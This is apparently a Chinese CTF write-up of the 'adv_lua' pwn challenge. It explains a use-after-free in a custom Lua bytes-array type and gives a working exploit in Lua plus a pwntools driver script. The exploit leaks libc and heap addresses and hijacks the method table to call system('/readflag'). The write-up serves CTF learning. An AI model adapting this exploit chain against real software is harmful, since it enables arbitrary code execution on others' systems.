[Lua] "华为杯" 研究生CTF初赛 - pwn adv_lua - lua沙盒逃逸
题面
虽然没参加这个比赛,但是看Cor1e发了这个题有点意思就做了下,听说比赛的时候没解
出题人加了个新的数据类型到里面,并且ban了一些builtin的东西,让攻击者尝试沙盒逃逸
分析
漏洞点
- 注册给
barray
的move
方法没有校验src
和dst
的对象是否相同
利用思路
- 直接
new
没有初始化内存,可以地址泄露 move
方法正常情况下会清空是src对象的size和buf,free掉dst的buf,将src和size和buf复制到dst上。但是当dst==src
的时候等价于只free了dst的buf,其它没有任何变化,这样就发生了UAF。通过UAF控制某个obj的结构体就可以完成指针劫持和类型混淆之类的攻击手段刚开始想的是能够造任意地址写那一套,然后用glibc八股打法来着,但是get和set前面都加了个很恶心的checker,会在写bytes array前检查buf的heap元数据,导致了有些非法地址不能随便写,如果要写起码也要伪造或碰巧存在一个合适的size字段
最后折腾了一大通,打算摸索一下能不能劫持一些从
Lua
层到C
层的方法调用。因为luaopen_bytearr
中为barray
类型注册了一个方法列表——类似面向对象,只不过这里的方法全都注册到一个table
上(table是Lua的精华)。于是我猜测最终这个表会和普通table一样注册到heap上某个位置...又折腾了一通终于找到这个table了
- 表中有很多个方法,一开始打算全劫持了100%触发,但是变更源代码会影响初始堆布局,懒得堆风水那么多了,只劫持了其中一部分,然后调用
copy
方法 - 虽然有一定概率可以触发到system,但是rdi是不能控制的,因为第一个参数会被统一传入
lua_State *L
。不过比较巧的是调用copy方法时rdi指向的区域附近有个0x661
常量,可以当作一个合法size,于是通过任意地址写写上题目要求的/readflag
参数 循环跑一下很快就有
system('/readflag')
了
EXP
大概1/3
的概率打通:
- exp.lua
-- /readflag
barr = bytes.new(1)
function get_int64(obj, off)
res = 0
for i=0,7,1 do
res = res + (obj.get(obj, i+off) << (i*8))
end
return res;
end
function set_int64(obj, off, val)
--print(val)
for i=0,7,1 do
tmp = (math.floor(val) >> i*8) & 0xff
obj.set(obj, i+off, tmp)
end
end
-- leak libc addr
t1 = {}
a = bytes.new(0x4b0)
bytes.new(0x10) -- gap
barr.move(a, barr)
a = bytes.new(0x410)
print("a: "..barr.str(a))
libc_leak = get_int64(a, 0)
libc_base = libc_leak - 0x1faf10
pointer_guard = libc_base - 0x103890
system = libc_base + 0x4f230
binsh = libc_base + 0x1bd115
dtor_list_entry = libc_base + 0x1faaa0
print(string.format("libc_leak: 0x%x", libc_leak))
print(string.format("libc_base: 0x%x", libc_base))
print(string.format("pointer_guard: 0x%x", pointer_guard))
print(string.format("system: 0x%x", system))
print(string.format("binsh: 0x%x", binsh))
print(string.format("dtor_list_entry: 0x%x", dtor_list_entry))
-- leak heap addr
b = bytes.new(0x20)
barr.move(b, barr)
b = bytes.new(0x20)
print("b: "..barr.str(b))
heap_base = (get_int64(b, 0) << 12) - 0x8000
print(string.format("heap_base: 0x%x", heap_base))
-- construct a restricted arbitrary address write
target_barray = heap_base + 0x86c0
for i=0,8,1 do
bytes.new(0x38)
end
c1 = bytes.new(0x38)
set_int64(c1, 0, 0x41414141)
barr.move(c1, c1)
-- c2 obj is the bytes array buf of c1 obj
c2 = bytes.new(0xb8)
set_int64(c1, 0x28, heap_base+0x3870)
--[[
func1 = get_int64(c2, 0)
func1_flags = get_int64(c2, 8)
print(string.format("func1: 0x%x", func1))
print(string.format("func1_flags: 0x%x", func1_flags))
--]]
-- write system to barray method table
set_int64(c2, 0x18*0, system)
set_int64(c2, 0x18*1, system)
set_int64(c2, 0x18*2, system)
set_int64(c2, 0x18*3, system)
set_int64(c2, 0x18*4, system)
set_int64(c2, 0x18*5, system)
set_int64(c2, 0x18*6, system)
set_int64(c1, 0x28, heap_base+0x2a0)
-- rdi => /readflag
set_int64(c2, 0x8, 0x616c66646165722f)
set_int64(c2, 0x10, 0x67)
-- try trigger system("/readflag")
barr.copy(c1, c2)
-- find /g 0x5555555a7000,+0x20000,0x555555554000+0x39E10
-- method table: 0x00005555555aa870
-- Time given to breakpoint
--[[while(true)
do
nostop = 1
end--]]
- exp.py
from pwn import *
import os
context.arch = "amd64"
context.log_level = "debug"
def exp():
p = process(["./lua", "-"], env={"LD_PRELOAD":"./libc.so.6"})
with open("./exp.lua", "rb") as f:
payload = f.read()
#gdb.attach(p, "b *0x7ffff7e00230\nc\n")
#gdb.attach(p, "b *0x555555554000+0x39d85\nc\n")
payload += b"--"
payload = payload.ljust(0x5000, b"x")
p.send(payload)
p.shutdown('send')
#gdb.attach(p)
p.interactive()
def exp_remote():
while True:
p = process(["./lua", "-"], env={"LD_PRELOAD":"./libc.so.6"})
with open("./exp.lua", "rb") as f:
payload = f.read()
payload += b"--"
payload = payload.ljust(0x5000, b"x")
p.send(payload)
p.shutdown('send')
try:
part1 = p.recvuntil(b"flag{", timeout=1)
print("### flag is: ", part1[-5:]+p.recvuntil(b"}"), "###")
p.close()
break
except:
print("no flag")
if __name__ == "__main__":
#exp()
exp_remote()
后记
最近破事太多,越调越烦😮💨
师傅,可以分享题目附件么?
链接:https://pan.baidu.com/s/1Q9SB6GvTAn5ioZWzJA-8Og
提取码:uwr5